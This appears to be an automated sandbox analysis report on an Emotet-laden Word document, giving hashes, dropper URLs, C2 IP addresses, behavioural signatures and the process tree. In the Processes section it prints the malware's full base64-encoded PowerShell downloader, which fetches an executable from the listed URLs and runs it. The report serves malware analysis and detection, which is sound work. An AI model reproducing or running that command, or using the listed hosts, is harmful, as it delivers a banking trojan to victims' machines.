Analysis

  • max time kernel
    137s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14/08/2020, 14:58

General

  • Target
    emotet_e3_c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389_2020-08-14__145636._doc.doc
  • Size 230KB
  • Sample200814-385nt937bx
  • SHA256 c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://arsan.com.br/img_b2w/jstgflap98/

  • exe.dropper

    http://koester-pb.de/cgi-bin/HoDIPqV/

  • exe.dropper

    http://aragonmetal.com/_installation/LPMGMZroO/

  • exe.dropper

    https://www.witdigi.com/wp-content/uploads/iBeE/

  • exe.dropper

    http://yellowstonefitness.com/j5es7cx/QgLkys4ga64g228/

Extracted

Family
  • emotet

C2
  • 71.57.180.213:80

  • 185.86.148.68:443

  • 168.235.82.183:8080

  • 181.113.229.139:443

  • 181.134.9.162:80

  • 217.199.160.224:8080

  • 105.209.235.113:8080

  • 216.75.37.196:8080

  • 97.104.107.190:80

  • 203.153.216.182:7080

  • 107.161.30.122:8080

  • 41.106.96.12:80

  • 202.5.47.71:80

  • 201.235.10.215:80

  • 105.213.67.88:80

  • 115.79.195.246:80

  • 179.5.118.12:80

  • 212.112.113.235:80

  • 139.59.12.63:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_c45e5cb28c8df90c27a389214bd01b0693453740719dcd21db1dacfffd937389_2020-08-14__145636._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3908
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABQAGsAaAByADUAZABwAD0AJwBaAHAAawByAG0AawBxACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAYABVAGAAUgBpAGAAVABZAFAAYABSAE8AVABPAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQA2AF8AdQBkAHAAMAAgAD0AIAAnAEMAYwBiAHAAJwA7ACQAWQBxADEAbwBsAHQAcQA9ACcASwBvADIAZgAzAHoAZAAnADsAJABCADgAOQB0ADUAcwB2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARQA2AF8AdQBkAHAAMAArACcALgBlAHgAZQAnADsAJABOAHYAbQAwAHIAYgB0AD0AJwBGAGQAMAA3AG8AOABxACcAOwAkAFYAZgBnAHgAZQA3ADAAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkARQBOAFQAOwAkAFgANwA1AHgAMQBvADAAPQAnAGgAdAB0AHAAOgAvAC8AYQByAHMAYQBuAC4AYwBvAG0ALgBiAHIALwBpAG0AZwBfAGIAMgB3AC8AagBzAHQAZwBmAGwAYQBwADkAOAAvACoAaAB0AHQAcAA6AC8ALwBrAG8AZQBzAHQAZQByAC0AcABiAC4AZABlAC8AYwBnAGkALQBiAGkAbgAvAEgAbwBEAEkAUABxAFYALwAqAGgAdAB0AHAAOgAvAC8AYQByAGEAZwBvAG4AbQBlAHQAYQBsAC4AYwBvAG0ALwBfAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC8ATABQAE0ARwBNAFoAcgBvAE8ALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaQB0AGQAaQBnAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBCAGUARQAvACoAaAB0AHQAcAA6AC8ALwB5AGUAbABsAG8AdwBzAHQAbwBuAGUAZgBpAHQAbgBlAHMAcwAuAGMAbwBtAC8AagA1AGUAcwA3AGMAeAAvAFEAZwBMAGsAeQBzADQAZwBhADYANABnADIAMgA4AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWADIAZgBmAHUANABmAD0AJwBRAHUAcwB3AHkAZgAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABPADIAMwB6AGMAMQBiACAAaQBuACAAJABYADcANQB4ADEAbwAwACkAewB0AHIAeQB7ACQAVgBmAGcAeABlADcAMAAuACIARABPAFcAYABOAGwAbwBgAEEARABGAEkATABFACIAKAAkAE8AMgAzAHoAYwAxAGIALAAgACQAQgA4ADkAdAA1AHMAdgApADsAJABFAHkAdgB0ADEAdwAzAD0AJwBYAGwAZwBpAHYAdQByACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQgA4ADkAdAA1AHMAdgApAC4AIgBMAGAARQBOAGcAVABoACIAIAAtAGcAZQAgADIAOQA5ADkAMQApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACgAJABCADgAOQB0ADUAcwB2ACkAOwAkAFMAbABiAHUAMABoADEAPQAnAEIAbQA4AHQAOQAyAGQAJwA7AGIAcgBlAGEAawA7ACQASAB6ADIAbAA5AG0AaQA9ACcARwBpAGkAeAA5ADEAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABBAHkAMAA1AHkAZABpAD0AJwBXAGQAeQBrADYAbgBhACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3824
    • C:\Users\Admin\AppData\Local\Temp\Ccbp.exe
      "C:\Users\Admin\AppData\Local\Temp\Ccbp.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Windows\SysWOW64\winmmbase\RpcNs4.exe
        "C:\Windows\SysWOW64\winmmbase\RpcNs4.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2152

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1768-14-0x0000000000690000-0x000000000069C000-memory.dmp

        memory/2152-17-0x00000000021A0000-0x00000000021AC000-memory.dmp

        memory/3824-8-0x00007FF8D6400000-0x00007FF8D6DEC000-memory.dmp

        memory/3824-9-0x000002B3A2000000-0x000002B3A2001000-memory.dmp

        memory/3824-10-0x000002B3BA650000-0x000002B3BA651000-memory.dmp

        memory/3908-0-0x00007FF8DEA10000-0x00007FF8DF0D6000-memory.dmp

        memory/3908-7-0x000002253AD1C000-0x000002253AD21000-memory.dmp

        memory/3908-6-0x000002253AD1C000-0x000002253AD21000-memory.dmp

        memory/3908-5-0x000002253AD13000-0x000002253AD1C000-memory.dmp

        memory/3908-4-0x000002253AA2E000-0x000002253AA3C000-memory.dmp

        memory/3908-3-0x000002253AD1C000-0x000002253AD21000-memory.dmp

        memory/3908-2-0x000002253AA2E000-0x000002253AA3C000-memory.dmp

        memory/3908-1-0x000002253AA2E000-0x000002253AA3C000-memory.dmp